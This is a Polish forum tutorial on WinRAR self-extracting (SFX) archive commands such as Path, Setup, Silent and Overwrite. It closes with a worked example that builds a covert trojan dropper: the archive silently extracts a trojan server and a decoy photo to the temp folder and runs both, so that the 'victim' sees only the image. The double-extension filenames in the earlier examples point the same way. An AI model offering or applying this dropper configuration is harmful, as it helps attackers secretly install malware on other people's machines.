Archiwum SFX ~> Tajniki tych plików [TUT]

maly3900

Użytkownik
Dołączył
Styczeń 18, 2005
Posty
362
W tym arcie poruszę tematykę WinRar'a, a dokładniej archiwum SFX...

O co chodzi?!
Otóż archiwum to, jest `Samowypakowywującym się Archiwum WinRara`. :)
Jak każdy widzi, dodaje się pliki normalnie, tyle że tam zaznacza się `Utwórz Archiwum SFX`...
Po Wygenerowaniu tworzy się plik exe, zaś po odpaleniu go jest forma wypakowywania :)

Objaśnienie
W tym pseudo-arcie omówię jakie ma tenże format archiwum ma opcję...
- Zawiera on swoje komendy, które należy pisać w komentarzu pliku (ostatnia zakładka podczas dodawania do pliku)
Jakie to komendy? Zaraz opiszę!
smile.gif



1. Wskazanie folderu docelowe wypakowywania plików:
Kod:
Path=SCIEZKA_DO_FOLDERU_DOCELOWEGO

SavePath

2. Uruchomienie pliku po wypakowywaniu plików (chodzi oczywiście o plik, który znajdował się w Archiwum):
Kod:
Setup=NAZWA_PLIKU.JPG.EXE.HTML

3. Uruchomienie plik przez wypakowaniem plików (tutaj już nie chodzi o plik który znajdował się w Archiwum; mógł być luźno na dysku twardym):
Kod:
Presetup=C:/PLIK.EXE.LOL.TXT

4. Plik do usunięcia z folderu docelowego:
Kod:
delete=PLIK.LOL.EXE.JPG.OMG

5. Dodanie tytułu oraz tekstu w Archiwum SFX:
Kod:
Title=TYTUL_OKNA_ARCHIWUM

Text

{

PIERWSZA LINIA TEXTU DO WYSWIETLENIA

DRUGA LINIA TEXTU DO WYSWIETLENIA

TRZECIA LINIA [...]

}

6. Wyświetlenia okna licencji, wraz z treścią:
Kod:
License=TYTUL_OKNA_LICENCJI

{

PIERWSZA LINIA TEXTU DO WYSWIETLENIA

DRUGA LINIA TEXTU DO WYSWIETLENIA

TRZECIA LINIA [...]

}

To są ogólne komendy, ale archiwum SFX posiada jeszcze komendy do ukrywania głównej formy, a także nadpisywania/lub nie plików... Oto one:

Ukrycie formy archiwizatora
Kod:
Silent=X
Gdzie X jest:
2 - Ukrywanie dialogów Startowych (Automatycznie wypakowanie pliku, ale "widać" że coś się wypakowywuje)
1 - Ukrywanie wszystkiego, poprostu plik się wypakowywuje bez wiedzy użytkownika..
Jeśli chcesz aby forma była widoczna, zostaw te komendy...

Nadpisywanie plików
Kod:
Overwrite=X
Gdzie X jest:
1 - Nadpisuje wszystkie pliki bez wiedzy użytkownika
2 - Pomija wszystkie istniejące pliki, i ich nie wypakowywuje
Jeśli zaś chce by archiwum za każdym razem pytalo `Czy chcesz napisać te[...]` to zostaw te komeny (;

Teraz dodam mały przykład zastosowania tych komend dla lepszego zrozumienia faktu ich działania:
Kod:
path=%temp%

SavePath

Setup=SERVER_TROJANA.EXE

Setup=ZDJECIE_DLA_ZMYLKI.JPG

Silent=1

Overwrite=1
Objaśnienie: Archiwium to wypakuje bez wiedzy użytkownika ServerTrojana i także ZdjęcieDlaZmylki do folderu tymczasowego, które potem uruchomi. Jak każdy wie, servery są ukryte, czyli u ofiary odpali się tylko zdjęcie!
smile.gif


By MaLy
 
Do góry Bottom